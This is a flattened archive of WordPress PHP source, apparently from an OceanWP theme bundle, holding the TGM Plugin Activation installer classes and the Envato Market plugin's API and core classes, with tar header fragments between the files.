$this->skin->options['install_type'] ) { $this->upgrade_strings(); } else { $this->install_strings(); } } return $result; } /** * Processes the bulk installation of plugins. * * @since 2.2.0 * * {@internal This is basically a near identical copy of the WP Core * Plugin_Upgrader::bulk_upgrade() method, with minor adjustments to deal with * new installs instead of upgrades. * For ease of future synchronizations, the adjustments are clearly commented, but no other * comments are added. Code style has been made to comply.}} * * @see Plugin_Upgrader::bulk_upgrade() * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838 * (@internal Last synced: Dec 31st 2015 against https://core.trac.wordpress.org/browser/trunk?rev=36134}} * * @param array $plugins The plugin sources needed for installation. * @param array $args Arbitrary passed extra arguments. * @return array|false Install confirmation messages on success, false on failure. */ public function bulk_install( $plugins, $args = array() ) { // [TGMPA + ] Hook auto-activation in. add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->install_strings(); // [TGMPA + ] adjusted. /* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */ /* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */ $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); /* [TGMPA - ] foreach ( $plugins as $plugin ) $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) ); */ if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { $this->update_current++; /* [TGMPA - ] $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->set_result('up_to_date'); $this->skin->before(); $this->skin->feedback('up_to_date'); $this->skin->after(); $results[$plugin] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active($plugin); */ $result = $this->run( array( 'package' => $plugin, // [TGMPA + ] adjusted. 'destination' => WP_PLUGIN_DIR, 'clear_destination' => false, // [TGMPA + ] adjusted. 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, ), ) ); $results[ $plugin ] = $this->result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } //end foreach $plugins $this->maintenance_mode( false ); /** * Fires when the bulk upgrader process is complete. * * @since WP 3.6.0 / TGMPA 2.5.0 * * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might * be a Theme_Upgrader or Core_Upgrade instance. * @param array $data { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $packages Array of plugin, theme, or core packages to update. * } */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'install', // [TGMPA + ] adjusted. 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. /* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */ // [TGMPA + ] Remove our auto-activation hook. remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return $results; } /** * Handle a bulk upgrade request. * * @since 2.5.0 * * @see Plugin_Upgrader::bulk_upgrade() * * @param array $plugins The local WP file_path's of the plugins which should be upgraded. * @param array $args Arbitrary passed extra arguments. * @return string|bool Install confirmation messages on success, false on failure. */ public function bulk_upgrade( $plugins, $args = array() ) { add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $result = parent::bulk_upgrade( $plugins, $args ); remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); return $result; } /** * Abuse a filter to auto-activate plugins after installation. * * Hooked into the 'upgrader_post_install' filter hook. * * @since 2.5.0 * * @param bool $bool The value we need to give back (true). * @return bool */ public function auto_activate( $bool ) { // Only process the activation of installed plugins if the automatic flag is set to true. if ( $this->tgmpa->is_automatic ) { // Flush plugins cache so the headers of the newly installed plugins will be read correctly. wp_clean_plugins_cache(); // Get the installed plugin file. $plugin_info = $this->plugin_info(); // Don't try to activate on upgrade of active plugin as WP will do this already. if ( ! is_plugin_active( $plugin_info ) ) { $activate = activate_plugin( $plugin_info ); // Adjust the success string based on the activation result. $this->strings['process_success'] = $this->strings['process_success'] . "
                    \n"; if ( is_wp_error( $activate ) ) { $this->skin->error( $activate ); $this->strings['process_success'] .= $this->strings['activation_failed']; } else { $this->strings['process_success'] .= $this->strings['activation_success']; } } } return $bool; } } } if ( ! class_exists( 'TGMPA_Bulk_Installer_Skin' ) ) { /** * Installer skin to set strings for the bulk plugin installations.. * * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer_Skin to * TGMPA_Bulk_Installer_Skin. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer_Skin extends Bulk_Upgrader_Skin { /** * Holds plugin info for each individual plugin installation. * * @since 2.2.0 * * @var array */ public $plugin_info = array(); /** * Holds names of plugins that are undergoing bulk installations. * * @since 2.2.0 * * @var array */ public $plugin_names = array(); /** * Integer to use for iteration through each plugin installation. * * @since 2.2.0 * * @var integer */ public $i = 0; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Constructor. Parses default args with new ones and extracts them for use. * * @since 2.2.0 * * @param array $args Arguments to pass for use within the class. */ public function __construct( $args = array() ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); // Parse default and new args. $defaults = array( 'url' => '', 'nonce' => '', 'names' => array(), 'install_type' => 'install', ); $args = wp_parse_args( $args, $defaults ); // Set plugin names to $this->plugin_names property. $this->plugin_names = $args['names']; // Extract the new args. parent::__construct( $args ); } /** * Sets install skin strings for each individual plugin. * * Checks to see if the automatic activation flag is set and uses the * the proper strings accordingly. * * @since 2.2.0 */ public function add_strings() { if ( 'update' === $this->options['install_type'] ) { parent::add_strings(); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)', 'oceanwp' ); } else { /* translators: 1: plugin name, 2: error message. */ $this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while installing %1$s: %2$s.', 'oceanwp' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_failed'] = __( 'The installation of %1$s failed.', 'oceanwp' ); if ( $this->tgmpa->is_automatic ) { // Automatic activation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'oceanwp' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = __( '%1$s installed and activated successfully.', 'oceanwp' ) . ' ' . esc_html__( 'Show Details', 'oceanwp' ) . '.'; $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations and activations have been completed.', 'oceanwp' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'oceanwp' ); } else { // Default installation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'oceanwp' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = esc_html__( '%1$s installed successfully.', 'oceanwp' ) . ' ' . esc_html__( 'Show Details', 'oceanwp' ) . '.'; $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations have been completed.', 'oceanwp' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing Plugin %1$s (%2$d/%3$d)', 'oceanwp' ); } } } /** * Outputs the header strings and necessary JS before each plugin installation. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function before( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::before( $title ); } /** * Outputs the footer strings and necessary JS after each plugin installation. * * Checks for any errors and outputs them if they exist, else output * success strings. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function after( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::after( $title ); $this->i++; } /** * Outputs links after bulk plugin installation is complete. * * @since 2.2.0 */ public function bulk_footer() { // Serve up the string to say installations (and possibly activations) are complete. parent::bulk_footer(); // Flush plugins cache so we can make sure that the installed plugins list is always up to date. wp_clean_plugins_cache(); $this->tgmpa->show_tgmpa_version(); // Display message based on if all plugins are now active or not. $update_actions = array(); if ( $this->tgmpa->is_tgmpa_complete() ) { // All plugins are active, so we display the complete string and hide the menu to protect users. echo ''; $update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'oceanwp' ) . '' ); } else { $update_actions['tgmpa_page'] = '' . esc_html( $this->tgmpa->strings['return'] ) . ''; } /** * Filter the list of action links available following bulk plugin installs/updates. * * @since 2.5.0 * * @param array $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-handled plugin. */ $update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } /* *********** DEPRECATED METHODS *********** */ /** * Flush header output buffer. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function before_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); } /** * Flush footer output buffer and iterate $this->i to make sure the * installation strings reference the correct plugin. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function after_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); $this->i++; } } } } } } if ( ! class_exists( 'TGMPA_Utils' ) ) { /** * Generic utilities for TGMPA. * * All methods are static, poor-dev name-spacing class wrapper. * * Class was called TGM_Utils in 2.5.0 but renamed TGMPA_Utils in 2.5.1 as this was conflicting with Soliloquy. * * @since 2.5.0 * * @package TGM-Plugin-Activation * @author Juliette Reinders Folmer */ class TGMPA_Utils { /** * Whether the PHP filter extension is enabled. * * @see http://php.net/book.filter * * @since 2.5.0 * * @static * * @var bool $has_filters True is the extension is enabled. */ public static $has_filters; /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_em( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_strong( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Helper function: Validate a value as boolean * * @since 2.5.0 * * @static * * @param mixed $value Arbitrary value. * @return bool */ public static function validate_bool( $value ) { if ( ! isset( self::$has_filters ) ) { self::$has_filters = extension_loaded( 'filter' ); } if ( self::$has_filters ) { return filter_var( $value, FILTER_VALIDATE_BOOLEAN ); } else { return self::emulate_filter_bool( $value ); } } /** * Helper function: Cast a value to bool * * @since 2.5.0 * * @static * * @param mixed $value Value to cast. * @return bool */ protected static function emulate_filter_bool( $value ) { // @codingStandardsIgnoreStart static $true = array( '1', 'true', 'True', 'TRUE', 'y', 'Y', 'yes', 'Yes', 'YES', 'on', 'On', 'ON', ); static $false = array( '0', 'false', 'False', 'FALSE', 'n', 'N', 'no', 'No', 'NO', 'off', 'Off', 'OFF', ); // @codingStandardsIgnoreEnd if ( is_bool( $value ) ) { return $value; } elseif ( is_int( $value ) && ( 0 === $value || 1 === $value ) ) { return (bool) $value; } elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) { return (bool) $value; } elseif ( is_string( $value ) ) { $value = trim( $value ); if ( in_array( $value, $true, true ) ) { return true; } elseif ( in_array( $value, $false, true ) ) { return false; } else { return false; } } return false; } } // End of class TGMPA_Utils } // End of class_exists wrapper plugins/tgm-plugin-activation.php000064400000001261151551031110013151 0ustar00 'Ocean Extra', 'slug' => 'ocean-extra', 'required' => false, 'force_activation' => false, ), ); // Register notice tgmpa( $plugins, array( 'id' => 'oceanwp_theme', 'domain' => 'oceanwp', 'menu' => 'install-required-plugins', 'has_notices' => true, 'is_automatic' => true, 'dismissable' => true, ) ); } add_action( 'tgmpa_register', 'oceanwp_tgmpa_register' );class-envato-market-api.php000064400000034405151552037310011714 0ustar00init_globals(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market_API::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the class globals. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function init_globals() { // Envato API token. $this->token = envato_market()->get_option( 'token' ); } /** * Query the Envato API. * * @uses wp_remote_get() To perform an HTTP request. * * @since 1.0.0 * * @param string $url API request URL, including the request method, parameters, & file type. * @param array $args The arguments passed to `wp_remote_get`. * @return array|WP_Error The HTTP response. */ public function request( $url, $args = array() ) { $defaults = array( 'sslverify' => !defined('ENVATO_LOCAL_DEVELOPMENT'), 'headers' => $this->request_headers(), 'timeout' => 14, ); $args = wp_parse_args( $args, $defaults ); if ( !defined('ENVATO_LOCAL_DEVELOPMENT') ) { $token = trim( str_replace( 'Bearer', '', $args['headers']['Authorization'] ) ); if ( empty( $token ) ) { return new WP_Error( 'api_token_error', __( 'An API token is required.', 'envato-market' ) ); } } $debugging_information = [ 'request_url' => $url, ]; // Make an API request. $response = wp_remote_get( esc_url_raw( $url ), $args ); // Check the response code. $response_code = wp_remote_retrieve_response_code( $response ); $response_message = wp_remote_retrieve_response_message( $response ); $debugging_information['response_code'] = $response_code; $debugging_information['response_cf_ray'] = wp_remote_retrieve_header( $response, 'cf-ray' ); $debugging_information['response_server'] = wp_remote_retrieve_header( $response, 'server' ); if ( ! empty( $response->errors ) && isset( $response->errors['http_request_failed'] ) ) { // API connectivity issue, inject notice into transient with more details. $option = envato_market()->get_options(); if ( empty( $option['notices'] ) ) { $option['notices'] = []; } $option['notices']['http_error'] = current( $response->errors['http_request_failed'] ); envato_market()->set_options( $option ); return new WP_Error( 'http_error', esc_html( current( $response->errors['http_request_failed'] ) ), $debugging_information ); } if ( 200 !== $response_code && ! empty( $response_message ) ) { return new WP_Error( $response_code, $response_message, $debugging_information ); } elseif ( 200 !== $response_code ) { return new WP_Error( $response_code, __( 'An unknown API error occurred.', 'envato-market' ), $debugging_information ); } else { $return = json_decode( wp_remote_retrieve_body( $response ), true ); if ( null === $return ) { return new WP_Error( 'api_error', __( 'An unknown API error occurred.', 'envato-market' ), $debugging_information ); } return $return; } } /** * Deferred item download URL. * * @since 1.0.0 * * @param int $id The item ID. * @return string. */ public function deferred_download( $id ) { if ( empty( $id ) ) { return ''; } $args = array( 'deferred_download' => true, 'item_id' => $id, ); return add_query_arg( $args, esc_url( envato_market()->get_page_url() ) ); } /** * Get the item download. * * @since 1.0.0 * * @param int $id The item ID. * @param array $args The arguments passed to `wp_remote_get`. * @return bool|array The HTTP response. */ public function download( $id, $args = array() ) { if ( empty( $id ) ) { return false; } $domain = envato_market()->get_envato_api_domain(); $path = $this->api_path_for('download'); $url = $domain . $path . '?item_id=' . $id . '&shorten_url=true'; $response = $this->request( $url, $args ); // @todo Find out which errors could be returned & handle them in the UI. if ( is_wp_error( $response ) || empty( $response ) || ! empty( $response['error'] ) ) { return false; } if ( ! empty( $response['wordpress_theme'] ) ) { return $response['wordpress_theme']; } if ( ! empty( $response['wordpress_plugin'] ) ) { return $response['wordpress_plugin']; } // Missing a WordPress theme and plugin, report an error. $option = envato_market()->get_options(); if ( ! isset( $option['notices'] ) ) { $option['notices'] = []; } $option['notices']['missing-package-zip'] = true; envato_market()->set_options( $option ); return false; } /** * Get an item by ID and type. * * @since 1.0.0 * * @param int $id The item ID. * @param array $args The arguments passed to `wp_remote_get`. * @return array The HTTP response. */ public function item( $id, $args = array() ) { $domain = envato_market()->get_envato_api_domain(); $path = $this->api_path_for('catalog-item'); $url = $domain . $path . '?id=' . $id; $response = $this->request( $url, $args ); if ( is_wp_error( $response ) || empty( $response ) ) { return false; } if ( ! empty( $response['wordpress_theme_metadata'] ) ) { return $this->normalize_theme( $response ); } if ( ! empty( $response['wordpress_plugin_metadata'] ) ) { return $this->normalize_plugin( $response ); } return false; } /** * Get the list of available themes. * * @since 1.0.0 * * @param array $args The arguments passed to `wp_remote_get`. * @return array The HTTP response. */ public function themes( $args = array() ) { $themes = array(); $domain = envato_market()->get_envato_api_domain(); $path = $this->api_path_for('list-purchases'); $url = $domain . $path . '?filter_by=wordpress-themes'; $response = $this->request( $url, $args ); if ( is_wp_error( $response ) || empty( $response ) || empty( $response['results'] ) ) { return $themes; } foreach ( $response['results'] as $theme ) { $themes[] = $this->normalize_theme( $theme['item'] ); } return $themes; } /** * Normalize a theme. * * @since 1.0.0 * * @param array $theme An array of API request values. * @return array A normalized array of values. */ public function normalize_theme( $theme ) { $normalized_theme = array( 'id' => $theme['id'], 'name' => ( ! empty( $theme['wordpress_theme_metadata']['theme_name'] ) ? $theme['wordpress_theme_metadata']['theme_name'] : '' ), 'author' => ( ! empty( $theme['wordpress_theme_metadata']['author_name'] ) ? $theme['wordpress_theme_metadata']['author_name'] : '' ), 'version' => ( ! empty( $theme['wordpress_theme_metadata']['version'] ) ? $theme['wordpress_theme_metadata']['version'] : '' ), 'description' => self::remove_non_unicode( strip_tags( $theme['wordpress_theme_metadata']['description'] ) ), 'url' => ( ! empty( $theme['url'] ) ? $theme['url'] : '' ), 'author_url' => ( ! empty( $theme['author_url'] ) ? $theme['author_url'] : '' ), 'thumbnail_url' => ( ! empty( $theme['thumbnail_url'] ) ? $theme['thumbnail_url'] : '' ), 'rating' => ( ! empty( $theme['rating'] ) ? $theme['rating'] : '' ), 'landscape_url' => '', ); // No main thumbnail in API response, so we grab it from the preview array. if ( empty( $normalized_theme['thumbnail_url'] ) && ! empty( $theme['previews'] ) && is_array( $theme['previews'] ) ) { foreach ( $theme['previews'] as $possible_preview ) { if ( ! empty( $possible_preview['landscape_url'] ) ) { $normalized_theme['landscape_url'] = $possible_preview['landscape_url']; break; } } } if ( empty( $normalized_theme['thumbnail_url'] ) && ! empty( $theme['previews'] ) && is_array( $theme['previews'] ) ) { foreach ( $theme['previews'] as $possible_preview ) { if ( ! empty( $possible_preview['icon_url'] ) ) { $normalized_theme['thumbnail_url'] = $possible_preview['icon_url']; break; } } } return $normalized_theme; } /** * Get the list of available plugins. * * @since 1.0.0 * * @param array $args The arguments passed to `wp_remote_get`. * @return array The HTTP response. */ public function plugins( $args = array() ) { $plugins = array(); $domain = envato_market()->get_envato_api_domain(); $path = $this->api_path_for('list-purchases'); $url = $domain . $path . '?filter_by=wordpress-plugins'; $response = $this->request( $url, $args ); if ( is_wp_error( $response ) || empty( $response ) || empty( $response['results'] ) ) { return $plugins; } foreach ( $response['results'] as $plugin ) { $plugins[] = $this->normalize_plugin( $plugin['item'] ); } return $plugins; } /** * Normalize a plugin. * * @since 1.0.0 * * @param array $plugin An array of API request values. * @return array A normalized array of values. */ public function normalize_plugin( $plugin ) { $requires = null; $tested = null; $versions = array(); // Set the required and tested WordPress version numbers. foreach ( $plugin['attributes'] as $k => $v ) { if ( ! empty( $v['name'] ) && 'compatible-software' === $v['name'] && ! empty( $v['value'] ) && is_array( $v['value'] ) ) { foreach ( $v['value'] as $version ) { $versions[] = str_replace( 'WordPress ', '', trim( $version ) ); } if ( ! empty( $versions ) ) { $requires = $versions[ count( $versions ) - 1 ]; $tested = $versions[0]; } break; } } $plugin_normalized = array( 'id' => $plugin['id'], 'name' => ( ! empty( $plugin['wordpress_plugin_metadata']['plugin_name'] ) ? $plugin['wordpress_plugin_metadata']['plugin_name'] : '' ), 'author' => ( ! empty( $plugin['wordpress_plugin_metadata']['author'] ) ? $plugin['wordpress_plugin_metadata']['author'] : '' ), 'version' => ( ! empty( $plugin['wordpress_plugin_metadata']['version'] ) ? $plugin['wordpress_plugin_metadata']['version'] : '' ), 'description' => self::remove_non_unicode( strip_tags( $plugin['wordpress_plugin_metadata']['description'] ) ), 'url' => ( ! empty( $plugin['url'] ) ? $plugin['url'] : '' ), 'author_url' => ( ! empty( $plugin['author_url'] ) ? $plugin['author_url'] : '' ), 'thumbnail_url' => ( ! empty( $plugin['thumbnail_url'] ) ? $plugin['thumbnail_url'] : '' ), 'landscape_url' => ( ! empty( $plugin['previews']['landscape_preview']['landscape_url'] ) ? $plugin['previews']['landscape_preview']['landscape_url'] : '' ), 'requires' => $requires, 'tested' => $tested, 'number_of_sales' => ( ! empty( $plugin['number_of_sales'] ) ? $plugin['number_of_sales'] : '' ), 'updated_at' => ( ! empty( $plugin['updated_at'] ) ? $plugin['updated_at'] : '' ), 'rating' => ( ! empty( $plugin['rating'] ) ? $plugin['rating'] : '' ), ); // No main thumbnail in API response, so we grab it from the preview array. if ( empty( $plugin_normalized['landscape_url'] ) && ! empty( $plugin['previews'] ) && is_array( $plugin['previews'] ) ) { foreach ( $plugin['previews'] as $possible_preview ) { if ( ! empty( $possible_preview['landscape_url'] ) ) { $plugin_normalized['landscape_url'] = $possible_preview['landscape_url']; break; } } } if ( empty( $plugin_normalized['thumbnail_url'] ) && ! empty( $plugin['previews'] ) && is_array( $plugin['previews'] ) ) { foreach ( $plugin['previews'] as $possible_preview ) { if ( ! empty( $possible_preview['icon_url'] ) ) { $plugin_normalized['thumbnail_url'] = $possible_preview['icon_url']; break; } } } return $plugin_normalized; } public function api_path_for( $path ) { if ( defined('ENVATO_LOCAL_DEVELOPMENT') ) { $paths = MONOLITH_API_PATHS; } else { $paths = array( 'download' => '/v2/market/buyer/download', 'catalog-item' => '/v2/market/catalog/item', 'list-purchases' => '/v2/market/buyer/list-purchases', 'total-items' => '/v1/market/total-items.json' ); } return $paths[$path]; } /** * Remove all non unicode characters in a string * * @since 1.0.0 * * @param string $retval The string to fix. * @return string */ static private function remove_non_unicode( $retval ) { return preg_replace( '/[\x00-\x1F\x80-\xFF]/', '', $retval ); } private function request_headers() { $user_agent = array('User-Agent' => 'WordPress - Envato Market ' . envato_market()->get_version()); $headers = array_merge($user_agent, envato_market()->get_envato_api_headers()); return $headers; } } endif; class-envato-market.php000064400000024235151552037310011145 0ustar00init_globals(); self::$_instance->init_includes(); self::$_instance->init_actions(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the class globals. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function init_globals() { $this->data = new stdClass(); $this->version = ENVATO_MARKET_VERSION; $this->slug = 'envato-market'; $this->option_name = self::sanitize_key( $this->slug ); $this->plugin_url = ENVATO_MARKET_URI; $this->plugin_path = ENVATO_MARKET_PATH; $this->page_url = ENVATO_MARKET_NETWORK_ACTIVATED ? network_admin_url( 'admin.php?page=' . $this->slug ) : admin_url( 'admin.php?page=' . $this->slug ); $this->data->admin = true; if ( defined('ENVATO_LOCAL_DEVELOPMENT') ) { $this->envato_api_domain = ENVATO_API_DOMAIN; $this->envato_api_headers = ENVATO_API_HEADERS; } else { $this->envato_api_headers = [ 'Authorization' => 'Bearer ' . $this->get_option( 'token' ) ]; $this->envato_api_domain = 'https://api.envato.com'; } } /** * Include required files. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function init_includes() { require $this->plugin_path . '/inc/admin/class-envato-market-admin.php'; require $this->plugin_path . '/inc/admin/functions.php'; require $this->plugin_path . '/inc/class-envato-market-api.php'; require $this->plugin_path . '/inc/class-envato-market-items.php'; require $this->plugin_path . '/inc/class-envato-market-github.php'; } /** * Setup the hooks, actions and filters. * * @uses add_action() To add actions. * @uses add_filter() To add filters. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function init_actions() { // Activate plugin. register_activation_hook( ENVATO_MARKET_CORE_FILE, array( $this, 'activate' ) ); // Deactivate plugin. register_deactivation_hook( ENVATO_MARKET_CORE_FILE, array( $this, 'deactivate' ) ); // Load the textdomain. add_action( 'init', array( $this, 'load_textdomain' ) ); // Load OAuth. add_action( 'init', array( $this, 'admin' ) ); // Load Upgrader. add_action( 'init', array( $this, 'items' ) ); } /** * Activate plugin. * * @since 1.0.0 * @codeCoverageIgnore */ public function activate() { self::set_plugin_state( true ); } /** * Deactivate plugin. * * @since 1.0.0 * @codeCoverageIgnore */ public function deactivate() { self::set_plugin_state( false ); } /** * Loads the plugin's translated strings. * * @since 1.0.0 * @codeCoverageIgnore */ public function load_textdomain() { load_plugin_textdomain( 'envato-market', false, ENVATO_MARKET_PATH . 'languages/' ); } /** * Sanitize data key. * * @since 1.0.0 * @access private * * @param string $key An alpha numeric string to sanitize. * @return string */ private function sanitize_key( $key ) { return preg_replace( '/[^A-Za-z0-9\_]/i', '', str_replace( array( '-', ':' ), '_', $key ) ); } /** * Recursively converts data arrays to objects. * * @since 1.0.0 * @access private * * @param array $array An array of data. * @return object */ private function convert_data( $array ) { foreach ( (array) $array as $key => $value ) { if ( is_array( $value ) ) { $array[ $key ] = self::convert_data( $value ); } } return (object) $array; } /** * Set the `is_plugin_active` option. * * This setting helps determine context. Since the plugin can be included in your theme root you * might want to hide the admin UI when the plugin is not activated and implement your own. * * @since 1.0.0 * @access private * * @param bool $value Whether or not the plugin is active. */ private function set_plugin_state( $value ) { self::set_option( 'is_plugin_active', $value ); } /** * Set option value. * * @since 1.0.0 * * @param string $name Option name. * @param mixed $option Option data. */ public function set_option( $name, $option ) { $options = self::get_options(); $name = self::sanitize_key( $name ); $options[ $name ] = esc_html( $option ); $this->set_options( $options ); } /** * Set option. * * @since 2.0.0 * * @param mixed $options Option data. */ public function set_options( $options ) { ENVATO_MARKET_NETWORK_ACTIVATED ? update_site_option( $this->option_name, $options ) : update_option( $this->option_name, $options ); } /** * Return the option settings array. * * @since 1.0.0 */ public function get_options() { return ENVATO_MARKET_NETWORK_ACTIVATED ? get_site_option( $this->option_name, array() ) : get_option( $this->option_name, array() ); } /** * Return a value from the option settings array. * * @since 1.0.0 * * @param string $name Option name. * @param mixed $default The default value if nothing is set. * @return mixed */ public function get_option( $name, $default = '' ) { $options = self::get_options(); $name = self::sanitize_key( $name ); return isset( $options[ $name ] ) ? $options[ $name ] : $default; } /** * Set data. * * @since 1.0.0 * * @param string $key Unique object key. * @param mixed $data Any kind of data. */ public function set_data( $key, $data ) { if ( ! empty( $key ) ) { if ( is_array( $data ) ) { $data = self::convert_data( $data ); } $key = self::sanitize_key( $key ); // @codingStandardsIgnoreStart $this->data->$key = $data; // @codingStandardsIgnoreEnd } } /** * Get data. * * @since 1.0.0 * * @param string $key Unique object key. * @return string|object */ public function get_data( $key ) { return isset( $this->data->$key ) ? $this->data->$key : ''; } /** * Return the plugin slug. * * @since 1.0.0 * * @return string */ public function get_slug() { return $this->slug; } /** * Return the plugin version number. * * @since 1.0.0 * * @return string */ public function get_version() { return $this->version; } /** * Return the plugin URL. * * @since 1.0.0 * * @return string */ public function get_plugin_url() { return $this->plugin_url; } /** * Return the plugin path. * * @since 1.0.0 * * @return string */ public function get_plugin_path() { return $this->plugin_path; } /** * Return the plugin page URL. * * @since 1.0.0 * * @return string */ public function get_page_url() { return $this->page_url; } /** * Return the option settings name. * * @since 1.0.0 * * @return string */ public function get_option_name() { return $this->option_name; } /** * Admin UI class. * * @since 1.0.0 * * @return Envato_Market_Admin */ public function admin() { return Envato_Market_Admin::instance(); } /** * Envato API class. * * @since 1.0.0 * * @return Envato_Market_API */ public function api() { return Envato_Market_API::instance(); } /** * Items class. * * @since 1.0.0 * * @return 